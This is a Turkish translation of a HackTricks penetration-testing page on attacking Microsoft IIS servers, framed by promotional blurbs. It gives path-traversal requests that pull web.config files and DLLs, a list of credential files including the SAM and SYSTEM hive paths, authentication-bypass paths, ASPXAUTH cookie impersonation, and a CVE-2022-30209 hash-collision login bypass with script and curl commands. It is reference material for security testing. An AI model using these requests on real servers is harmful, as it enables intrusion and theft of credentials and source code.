IIS - Internet Information Services

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

WhiteIntel, karanlık ağ destekli ücretsiz işlevler sunan bir arama motorudur ve bir şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için kullanılır.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve ücretsiz olarak motorlarını deneyebilirsiniz:


Test edilebilir dosya uzantıları:

  • asp

  • aspx

  • config

  • php

Dahili IP Adresi ifşası

302 alınan herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanarak içerideki yanıtın Location başlığının sizi dahili IP adresine yönlendirebileceğini deneyebilirsiniz:

nc -v domain.com 80
openssl s_client -connect domain.com:443
<p>İç IP adresini ifşa eden yanıt:</p>
GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config dosyalarını yürüt

.config dosyalarını yükleyebilir ve kodu yürütmek için bunları kullanabilirsiniz. Bunun bir yolu, kodu dosyanın sonuna bir HTML yorumu içine eklemektir: Örneği buradan indirin

Bu zafiyeti sömürmek için daha fazla bilgi ve teknikler burada

IIS Keşif Bruteforce

Oluşturduğum listeyi indirin:

Bu liste aşağıdaki listelerin içeriğini birleştirerek oluşturulmuştur:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Uzantı eklemeksizin kullanın, ihtiyacı olan dosyalar zaten ekli.

Yol Geçişi

Kaynak kodu sızdırma

Tam açıklamayı burada kontrol edin: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Özet olarak, uygulamanın klasörlerinde "assemblyIdentity" dosyalarına ve "namespaces"e referans veren birkaç web.config dosyası bulunmaktadır. Bu bilgi ile uygulamaların nerede bulunduğunu ve onları indirebileceğinizi öğrenebilirsiniz. İndirilen Dll'lerden yeni namespaces bulmak da mümkündür, bu yeni namespaces'lere erişmeyi denemeli ve yeni namespaces ve assemblyIdentity'leri bulmak için web.config dosyasını almalısınız. Ayrıca, connectionstrings.config ve global.asax dosyaları ilginç bilgiler içerebilir.\

.Net MVC uygulamalarında, web.config dosyası, uygulamanın her bir ikili dosyaya "assemblyIdentity" XML etiketleri aracılığıyla bağımlı olduğunu belirterek önemli bir rol oynar.

İkili Dosyaları Keşfetme

Aşağıda web.config dosyasına erişimin bir örneği gösterilmektedir:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Bu istek, çeşitli ayarları ve bağımlılıkları ortaya çıkarır, örneğin:

  • EntityFramework sürümü

  • Web sayfaları, istemci doğrulaması ve JavaScript için AppSettings

  • Kimlik doğrulama ve çalışma zamanı için System.web yapılandırmaları

  • System.webServer modüller ayarları

  • Microsoft.Owin, Newtonsoft.Json ve System.Web.Mvc gibi çeşitli kütüphaneler için Runtime derleme bağlantıları

Bu ayarlar, belirli dosyaların, örneğin /bin/WebGrease.dll gibi, uygulamanın /bin klasöründe bulunduğunu gösterir.

Kök Dizin Dosyaları

/global.asax ve hassas şifreleri içeren /connectionstrings.config gibi kök dizinde bulunan dosyalar, uygulamanın yapılandırması ve işleyişi için önemlidir.

Ad Alanları ve Web.Config

MVC uygulamaları, her dosyada tekrarlayan deklarasyonları önlemek için belirli ad alanları için ek web.config dosyaları tanımlar, başka bir web.config dosyasını indirmek için yapılan bir istekte gösterildi.

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL'lerin İndirilmesi

Özel bir ad alanından bahsedilmesi, /bin dizininde bulunan "WebApplication1" adlı bir DLL'ye işaret ediyor. Buna göre, WebApplication1.dll dosyasını indirmek için bir istek gösteriliyor:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Bu, /bin dizininde System.Web.Mvc.dll ve System.Web.Optimization.dll gibi diğer önemli DLL'lerin varlığını işaret eder.

Bir DLL'nin WebApplication1.Areas.Minded adında bir ad alanı içe aktardığı bir senaryoda, saldırgan, /area-name/Views/ gibi tahmin edilebilir yollarda diğer web.config dosyalarının varlığını çıkarabilir. Bu dosyalar belirli yapılandırmaları ve /bin klasöründeki diğer DLL'lere referansları içerebilir. Örneğin, /Minded/Views/web.config'a yapılan bir istek, varlığı işaret eden yapılandırmalar ve ad alanları ortaya çıkarabilir, başka bir DLL olan WebApplication1.AdditionalFeatures.dll.

Ortak dosyalar

buradan

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Hatası

Eğer aşağıdaki gibi bir hata görürseniz:

Bu, sunucunun Doğru etki alanı adını almadığını gösterir. Web sayfasına erişmek için sunulan SSL Sertifikası'na bakabilir ve belki de etki alanı/alt etki alanı adını orada bulabilirsiniz. Eğer orada değilse, doğru olanı bulana kadar VHost'ları brute force yapmanız gerekebilir.

Araştırılmaya Değer Eski IIS Zayıflıkları

Microsoft IIS tilde karakteri "~" Zayıflığı/Özelliği - Kısa Dosya/Klasör Adı Açıklaması

Bu tekniği kullanarak her keşfedilen klasördeki dosyaları ve klasörleri numaralandırabilirsiniz (Bile Temel Kimlik Doğrulama gerektiriyorsa). Bu tekniğin ana kısıtlaması, sunucunun zayıf olması durumunda her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini bulabilmesidir.

Bu zayıflığı test etmek için https://github.com/irsdl/IIS-ShortName-Scanner kullanabilirsiniz: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Orijinal araştırma: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Ayrıca metasploit'i de kullanabilirsiniz: use scanner/http/iis_shortname_scanner

Temel Kimlik Doğrulaması Atlatma

Temel kimlik doğrulamasını atlayın (IIS 7.5) şu yolu deneyerek: /admin:$i30:$INDEX_ALLOCATION/admin.php veya /admin::$INDEX_ALLOCATION/admin.php

Bu zayıflığı ve bir öncekinin birleştirerek yeni klasörler bulabilir ve kimlik doğrulamasını atlayabilirsiniz.

ASP.NET Trace.AXD etkin hata ayıklama

ASP.NET, bir hata ayıklama moduna sahiptir ve dosyası trace.axd olarak adlandırılır.

Bu, bir uygulamaya belirli bir süre boyunca yapılan tüm isteklerin çok detaylı bir günlüğünü tutar.

Bu bilgiler, uzak istemci IP'leri, oturum kimlikleri, tüm istek ve yanıt çerezleri, fiziksel yollar, kaynak kod bilgileri ve muhtemelen hatta kullanıcı adları ve şifreleri içerebilir.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Çerezi

ASPXAUTH aşağıdaki bilgileri kullanır:

  • validationKey (dize): İmza doğrulaması için kullanılacak onaltılık kodlu anahtar.

  • decryptionMethod (dize): (varsayılan "AES").

  • decryptionIV (dize): onaltılık kodlu başlatma vektörü (sıfırlar vektörüne varsayılan olarak).

  • decryptionKey (dize): Şifre çözme için kullanılacak onaltılık kodlu anahtar.

Ancak, bazı insanlar bu parametrelerin varsayılan değerlerini kullanacak ve çerez olarak kullanıcı e-postasını kullanacaklardır. Bu nedenle, ASPXAUTH çerezini kullanan aynı platformu kullanan bir web sitesi bulabilir ve saldırı altındaki sunucuda taklit etmek istediğiniz kullanıcının e-postasını kullanan bir kullanıcı oluşturabilirseniz, ikinci sunucudan elde ettiğiniz çerezi birinci sunucuda kullanarak kullanıcıyı taklit edebilirsiniz. Bu saldırı, bu yazıda çalıştı.

Önbelleğe Alınmış Şifrelerle IIS Kimlik Doğrulamasını Atlatma (CVE-2022-30209)

Tam rapor burada: Kod, kullanıcı tarafından verilen şifreyi doğru bir şekilde kontrol etmediği için, şifresi önbellekte olan bir anahtarı vuran bir saldırgan, o kullanıcı olarak giriş yapabilecektir.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

WhiteIntel, şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunan dark-web destekli bir arama motorudur.

WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve ücretsiz olarak motorlarını deneyebilirsiniz:

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated